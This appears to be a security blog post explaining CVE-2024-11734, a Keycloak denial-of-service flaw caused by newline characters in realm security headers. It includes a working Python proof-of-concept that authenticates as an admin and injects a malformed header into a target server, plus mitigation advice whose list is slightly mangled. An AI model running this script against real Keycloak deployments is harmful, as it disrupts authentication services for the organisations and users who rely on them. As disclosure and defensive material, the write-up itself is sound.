A denial of service (DoS) vulnerability (CVE-2024-11734) has been identified in Keycloak, a widely used open-source identity and access management solution. The vulnerability exists due to improper handling of newline characters introduced in the security headers by an administrative user granted the right to change realm settings. In this exclusive long-read post, we'll take an in-depth look at the vulnerability, its exploitation, and the code snippet causing this issue.

Background

Keycloak is a popular open-source identity and access management (IAM) solution supporting single sign-on, social login, user federation, and API security for modern applications and services. Organizations of all sizes and industries make use of Keycloak to secure their environments and manage access to critical resources safely.

Details of Vulnerability

In Keycloak, a DoS vulnerability resides due to improper validation of security headers modified by an administrative user granted the right to change realm settings. By inserting newline characters into these headers, an attacker can cause the Keycloak server to write to a previously terminated request, subsequently causing the request to fail.

The vulnerability is exploitable in scenarios where the attacker has direct access to modify the realm settings in Keycloak or can trick an administrator into updating the settings with malicious values.

Original References:
1. Keycloak Issue Tracker
2. CVE Details

Code Snippet

In the source code, when a security header is modified, its value isn’t properly sanitized and validated for newline characters. The exploitation occurs when these newline characters are written back to the server, leading to the denial of service.

Here's a sample of how an attacker can exploit this vulnerability

import requests

base_url = "https://target-keycloak-server.com";
admin_username = "attacker"
admin_password = "attacker-password"
client_id = "admin-cli"

# Get Access Token
token_url = f"{base_url}/auth/realms/master/protocol/openid-connect/token"
token_data = {
    "grant_type": "password",
    "username": admin_username,
    "password": admin_password,
    "client_id": client_id,
}
response = requests.post(token_url, data=token_data)
access_token = response.json()["access_token"]

# Modify Security Header
headers = {"Authorization": f"Bearer {access_token}"}
update_url = f"{base_url}/auth/admin/realms/master"
bad_header = "X-Content-Type-Options\ndenied"
update_data = {"browserSecurityHeaders": {"xContentTypeOptions": bad_header}}
response = requests.put(update_url, headers=headers, json=update_data)

if response.status_code == 204:
    print("Security Header updated successfully. Service disrupted.")
else:
    print("Failed to exploit vulnerability.")

Notice how a newline character is included in the bad_header variable, causing the vulnerability to be exploited.

Apply patches released by Keycloak to address this issue as soon as they are available.

2. Restrict access to the administrative interface and other sensitive areas to trusted users and IP addresses only.
3. Implement security training and awareness programs for your administrators and users, teaching them to avoid modifying security headers with untrusted or suspicious values.

Conclusion

The CVE-2024-11734 vulnerability in Keycloak highlights the importance of regularly testing and reviewing the security of widely adopted, critical applications and services. As demonstrated in this article, even widely trusted systems like Keycloak can contain vulnerabilities that could lead to disruption of service or potentially worse outcomes.

By staying informed on the latest security disclosures and applying recommended mitigation strategies, organizations can better protect and safeguard their services and data from being compromised.

Timeline

Published on: 01/14/2025 09:15:19 UTC
Last modified on: 01/15/2025 05:37:36 UTC